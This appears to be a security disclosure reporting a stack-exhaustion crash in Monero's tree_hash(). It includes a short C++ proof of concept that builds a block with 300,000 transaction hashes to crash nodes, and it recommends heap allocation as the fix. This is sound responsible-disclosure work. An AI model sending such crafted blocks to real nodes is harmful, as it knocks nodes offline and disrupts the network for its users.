Computing hash of crafted block leads to crash in tree_hash()

How it was found

I'm not sure how to test this against against an actual Monero instance, so I'm instead showing an isolated PoC:

#include <cryptonote_basic/cryptonote_format_utils.h>

int main(void)
{
    cryptonote::block b = AUTO_VAL_INIT(b);
    for (size_t i = 0; i < 300000; i++) {
        b.tx_hashes.push_back({});
    }
    std::ostringstream oss;
    binary_archive<true> ba(oss);
    std::string s;
    if ( ::serialization::serialize(ba, b) == true ) {
        s = oss.str();
    } else {
        return 0;
    }

/* Uncomment to crash */
    cryptonote::block b2 = AUTO_VAL_INIT(b2);
    if ( parse_and_validate_block_from_blob(s, b2) == true ) {
        /* Crash */
        get_tx_tree_hash(b2);
    }
    return 0;
}

The reason this crashes is because of this code in tree_hash:

    char ints[cnt][HASH_SIZE];
    memset(ints, 0 , sizeof(ints));  // zero out as extra protection for using uninitialized mem

ints is allocated on the stack, not on the heap. Its size is dynamic; cnt (derived from the number of tx_hashes in this example) multiplied by 32 (HASH_SIZE) is the amount of bytes reserved on the stack.

On a typical, modern 64 bit OS, the stack is usually 8MB in size. Hence, a sufficient amount of tx_hashes will cause more stack to be reserved than is available. Technically, the reservation of the stack space doesn't cause the crash (this only alters the stack pointer), but the subsequent memset does.

Note that the serialized size of a block with 300000 tx_hashes is about 9 MB (see s.size()), which is well within the limits of CRYPTONOTE_MAX_BLOCK_SIZE (500MB).

The best remediation to this issue is to use allocate memory on the heap, not the stack.

Impact

Crash nodes